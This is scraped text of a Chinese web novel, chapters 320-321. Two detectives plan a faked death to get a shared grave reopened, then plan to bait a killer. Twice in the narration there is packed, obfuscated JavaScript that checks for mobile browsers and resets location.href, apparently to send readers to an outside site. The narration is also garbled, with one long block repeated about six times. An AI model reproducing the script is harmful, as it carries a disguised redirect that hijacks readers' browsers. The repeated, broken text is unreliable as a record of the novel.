“不好说。”向浩然道:“我其实觉得没多长时间,但是因为当时我喝了点酒,不是很清楚,所以对时间的估计肯定不准确。焦雨花的哥哥又很激动,他冲出来就打了我两拳,我只觉得脑袋嗡嗡的,有点蒙。” 安暖忍了一下,才没骂他废物。 喝酒开车,出了事儿也不冷静。 楚隽眼角余光看见安暖做了个咬牙的动作,不由道:“暖暖,你有什么想说的吗?” 在这个地方,想说什么就说什么,没什么好犹豫的。 安暖还是心肠软,看了看向浩然一身的纱布,含蓄的说:“你以后还是把酒戒了吧。” 本来智商就不太跟得上的样子,想一出是一出。再喝点酒,脑容量更是只剩下三分之一了。 向浩然叹了口气。 “我知道了,我以后再也不喝酒了。”向浩然说:“要是再喝一口酒,我就是乌龟王八蛋。” 誓言不毒,无以为证。 向浩然这誓发的也算是真心了。 楚隽道:“按你的说法,焦雨花撞在你车上,撞的应该不是脑袋。” “不是,我没见她脸上有多少血,只是吐血,可能撞的是肋骨之类的吧。” “可那也不该那么快死亡。”楚隽道:“虽然你不确定在路上耽搁了多久,但既然没感觉,也不可能太久。最多也不过是十分钟二十分钟吧。” “也许……大概吧……” 楚隽好想把向浩然再走一顿。 不知道再给他揍一个脑症荡出来,能不能让他回忆更多一些。 安暖拍了拍楚隽的肩膀。 “冷静。” 现在这种情况,让向浩然再多回忆也意义不大了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976271|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以及已经模糊,脑子里自动开始编故事,你再逼他,他回忆出来的事情已经未必是真的了。可能是被楚隽无意引导的。 “咱们谈第二个行动吧。” 向浩然本来都想闭上眼睛逃避了,一听还有第二个行动,立刻又睁开了眼睛。 “你们还有第二个行动?” “嗯,有。”安暖道:“想听一下吗?” “说吧。” 从安暖的表情里,向浩然觉得可能不是什么好事儿。 安暖道:“我们现在怀疑焦春花的死有问题,打算等焦家的人回来,如果问不出什么,就开坟验尸。” 向浩然屏息静气。 “但开坟是个大事,焦家的人一定不会同 意。强制开坟在手续上比较麻烦,如果开了,验不出什么,也容易被闹。” 这事情可大可小,甚至可能影响楚隽。 楚隽虽然觉得自己无愧于心,并不在意,可安暖想来想去,还是想让这事情发展的更丝滑一些。 能略施手段,简单解决,何必非要硬碰硬。 向浩然有点心虚:“你们想怎么办?他们家怎么样才能愿意开坟。” “很简单。”安暖说:“如果是开焦春花的坟,他们家是有理由拒绝的。但是,你别忘了,那可是个合葬木,不仅仅是焦春花一个人的。” 向浩然顿时就绷住了。 是,安暖说的真没错。 那是一个合葬墓,那个墓里,应该是埋着两个人的。 向浩然说:“是,但是……那是……” “既然是合葬墓,那就简单了。”安暖说:“合葬木的规矩,一个人**先下葬。另一个人,什么时候**,就要挖开,将另一个人也下葬。” 向浩然用求救的眼光看着楚隽。 你未婚妻要弄死我。 为了开焦春花的棺材,她要我用命去开啊。 虽然我以前得罪过她,但是,也不用这么凶残吧? 救命啊! 可惜的是,楚隽也没办法从安暖手里,救下向浩然的命。 楚隽说:“我也觉得这是个好办法。” 第320章 转机 正所谓,上将伐谋,能兵不血刃解决问题,难道不是上上策吗? 楚隽苦口婆心地劝向浩然:“咱们都是唯物主义者,相信这个世界上根本没有鬼魂。人**,那就是彻底的消散了,没有灵魂更没有鬼。所以,你有什么好害怕的呢?” 只要简单死一死就好了。 向浩然脸上还缠着好几块纱布呢。 “你现在可不能哭。”楚隽说:“要是眼泪碰着伤口,会发炎的。” “我不想哭。”向浩然闷闷地说:“你们说的是个办法,我也不介意装死,就怕我爸妈受不了。” 安暖的计划就是这么简单粗暴。 既然焦雨花是双人墓,那只要向浩然**,就开也得开,不开也得开。 他们没有任何理由拒绝向浩然藏在女儿的墓里。 他们也不敢。 既然连冥婚都办了,可见他们有多封建迷信。现在之所以焦雨花的鬼魂没来找他们的麻烦,是因为办了冥婚,焦雨花在底下心里很安稳,所以没闹。 可一旦向浩然**,没有与她合葬。那她能不闹吗? 闹谁? 那肯定是闹不愿意让他们合葬的人啊。 焦雨花的父母和哥哥,首当其冲。 到时候再跟金大师打个招呼,让他把事情说得严重一点,吓唬一下焦家的人,就一点儿问题都没有了。 只要这个坟挖开了,其他的事情就好办了。 到时候随便找个什么理由把他们支开,让乔主任去验尸。 若是验完了,确实什么问题都没有,再给埋起来就是了。 至于向浩然死而复生,那理由能找出一百零八个,医学奇迹,死而复生,怎么样都行。 人都活了,焦家也不至于再把他给弄死吧。 向浩然自己已经是破罐子破摔,死猪不怕开水烫了,只是想到了自己的父母,十分惆怅。 活人装死,这事情也没有那么容易啊。 郁闷了。 带着这种郁闷的心情养伤,这伤也不知道什么时候能养好。 安暖毫不犹豫地戳向浩然的脊梁骨。 “谁叫你不靠谱呢,有这么不靠谱的儿子,你爸妈受不了也得受着。” 这就是命啊,靠谱的子女是来报恩的,不靠谱的子女,是来寻仇的。 安暖是个有恩必报,有仇也必报的人,这会儿没有落井下石,还兢兢业业地跟着楚隽后面想要帮向浩然查明真相,真的已经非常不容易了。 这事情 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976272|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 确实理亏,向浩然心里有万般委屈,也只好含着血泪咽进了肚子。 事情就这么说定,假死是一件很麻烦的事情,不但要提前和向浩然打招呼,也要提前和向爸爸打招呼。 向爸爸向妈妈肯定更不能接受,要提前做思想工作,还要给他们一些接受的时间,免得到时候时间紧张,他们做出什么过激的举动,耽误事情。 不过这楚隽就不自告奋勇了。 还是让向浩然自己去说。 虽然很扯,听了消息的爸爸妈妈会很崩溃,但是现在向浩然有天然优势。 这个优势就是半死不活,只剩下一口气。在这种状态下,只要是亲生的,无论说什么,就算父母气得半死,也不至于再动手把他打一顿。 出了医院,两人上车。 眼下也没有什么好做的了。 一个是找,一个是等。 这个目前没有任何线索的小女孩儿不好找,关键是无人见过,就算是这个小女孩就水灵灵的站在面前,也没人认识。 只有楚隽说记得她的声音。但是和她聊了一下,楚隽觉得他的话也不是太可信。 十三岁的小女孩,声音是稚嫩轻灵的,有些可能有自己的特色,但更多的其实是差不多的。 当时小女孩又不是放声歌唱,只是哼着歌。 在冥婚的礼堂那种荒诞恐怖的地方,人会因为紧张和恐惧,产生各种幻觉。 安暖说,根据她的经验。 那天在向浩然家楼下的歌声,未必就是那个小女孩的。 可能只是一个相似的调调。 让向浩然立刻就将那个声音和调调连想起过去,是因为记忆里对那一段过往的刻骨铭心。 就好像是,你在半夜去了一个乱葬岗,受到了惊吓,你就会对这一段记忆特别深刻。 以后,你不是非要看见乱葬岗才会想起来,而是碰见一个差不多的事物,都会立刻联想上。 人的脑子,就是这么厉害的器官。 两人回了三室套。 安暖见楚隽有些疲惫的表情。知道他在为向浩然的事情担心,安慰他:“楚隽,你也别太担心,这事情,肯定还有转机。” 焦家的人回来,会坦白的可能性不大。 开坟之后,验尸出结果的可能性也不大。 都是在赌概率,这两个概率如果赌不上,想要找到真正的凶手,不知要等到什么时候。 “你觉得,转机是什么?”楚隽一屁股在沙发上坐下,还顺手拽了安暖一把。 安暖也就在楚隽身边坐下。 楚隽觉得这个姿势说话太生疏了,然后又拽了一下,把安暖拽到他腿上坐。 热恋的小情侣,平时就喜欢贴一贴,亲一亲,抱一抱。 虽然没有什么大事情,也未必就要怎么样,但是挨着的距离,让大家都觉得舒服,不自觉的就想要抱着,哪怕只是说说正常的话。 楚隽说:”这几天我见你一直在看心理学方面的书,你有什么不一样的见解?“ “谈不上不一样的见解。”安暖说:“你肯定也想过。” “你说说。” “我觉得,转机在凶手本身。”安暖说:“如果我是凶手,我绝对不会善罢甘休。” 一个隐忍了三年,能够对向浩然下如此痛快**的人,绝对不可能一次没得手,这事情就过去了。 要不然的话,楚隽也不会叮嘱了又叮嘱,让向爸爸一定要非常注意的保护向浩然。 还有向浩然未婚妻那边,甚至安暖这边,就怕有一个疏忽,又带来不必要的伤亡。 只是对他们来说,不习惯将希望放在别人身上。 总不能只等,自己不动。 安暖道:“我的意思是,我们可以刺激凶手一下。” 第321章 回国 “怎么刺激?” 安暖说:“凶手不是为了焦雨花出头吗?不是看着向浩然要结婚,所以要弄死他吗?” “对啊。” “那就让他结婚啊,在病房结,坐轮椅去结,办不了仪式,就先去领证。刺激刺激凶手,说不定凶手一个忍不住,就要开展二轮行动,那我们不就可以守株待兔了吗?” 安暖说的也不是没有道理。 但楚隽想想在向浩然在病房结婚,坐轮椅结婚,以及被担架抬到民政局去领证的场面,还是觉得惨不忍睹。 向浩然这破事儿啊。 这就算是他上半辈子风流倜傥的报应吧。 人在做,天在看,欠的债总是要还的。 